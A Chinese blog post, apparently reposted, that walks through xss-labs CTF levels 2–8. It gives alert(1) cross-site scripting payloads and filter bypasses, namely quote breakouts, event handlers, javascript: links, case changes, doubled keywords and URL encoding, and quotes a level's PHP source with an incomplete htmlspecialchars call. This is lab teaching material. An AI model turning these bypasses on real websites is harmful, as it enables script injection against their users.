当前位置:网站首页>CTF-XSS
CTF-XSS
2022-08-02 14:03:00 【H2223】
环境源码
链接:https://pan.baidu.com/s/1qaSY5PbU8qwgBzbssGv4IA
提取码:6elk
使用phpstudy运行
level2
先写随便写一些字符
<input name="keyword" value="1">
发现字符出现在了双引号中
输入1">发现">逃逸出双引号了
输入1"><script>alert(1)</script><"
<input name="keyword" value="1"><script>alert(1)</script><"">
输入在HTML里是这样的
这样<script>alert(1)</script>就逃逸出""和<>了
level3
到第三关,第二关的语句就失效了
看看后端代码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
发现他使用了htmlspecialchars这个函数,htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
htmlspecialchars(string,flags,character-set,double_encode)
在该函数中的第二个参数规定如何处理引号,默认是只处理双引号,不处理单引号
在代码中的函数没有第二个参数,他没有处理单引号,我们可以用单引号逃逸出来,但<script>标签有<>也会被过滤,可以使用onclick
1'οnclick='alert(1)
level4
第四关对<script>标签有过滤,使用onclick就行
1'οnclick='alert(1)
level5
输入1'οnclick='alert(1)
<input name="keyword" value="1'o_nclick='alert(1)">
输入1"><script>alert(1)</script><"
<scr_ipt>alert(1)<"">
<input type="submit" name="submit" value="搜索">
</scr_ipt>
分别对on和script有过滤
可以使用a标签和JavaScript伪协议
a"><a href="javascript:alert(1)">aaaaa</a>
level6
查看前端代码
<input name="keyword" value="a">
<a hr_ef="javascript:alert(1)">aaaaa</a>
发现href被过滤了
查看源代码
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
发现过滤了很多标签,但没过滤大小写
1"ONCLICK="alert(1)
level7
输入a"><a href="javascript:alert(1)">aaaaa</a>
<a ="java:alert(1)"="">aaaaa</a>
发现script直接没了
1"ONCLICK="alert(1)也不行
试试双写
1"OONNCLICK="alert(1)
成功了
level8
这是一个友情链接,要在其中输入javascript:alert(1)
但script被过滤了,双写,大小写都不行
可以使用urlencode编码
javascript:alert(1)
边栏推荐
猜你喜欢
随机推荐
HBuilderX 核心插件安装提示:“插件XXX下载失败,请检查网络”问题的解决办法
MobileNet ShuffleNet & yolov5 replace backbone
[ROS](01)创建ROS工作空间
加减法运算及其溢出处理
C语言初级—从键盘接收一个整形并逆序输出
二级指针,数组指针,指针数组和函数指针
Implementation of redis distributed lock and watchdog
Building and getting started with the Flask framework
Unit 13 Mixing in View Base Classes
getUserProfile接口不显示用户性别和地区
云GPU(恒源云)训练的具体操作流程
Web Design (Beginners) [easy to understand]
Visual Studio配置OpenCV之后,提示:#include<opencv2/opencv.hpp>无法打开源文件
Deep learning framework pytorch rapid development and actual combat chapter4
C语言初级—判断一个数是不是素数(函数封装)
verilog学习|《Verilog数字系统设计教程》夏宇闻 第三版思考题答案(第十三章)
Steps to connect the virtual machine with xshell_establish a network connection between the host and the vm virtual machine
C语言日记 7 输入/输出格式控制
Unit 4 Routing Layer
【Camera2】由Camera2 特性想到的有关MED(多场景设备互动)的场景Idea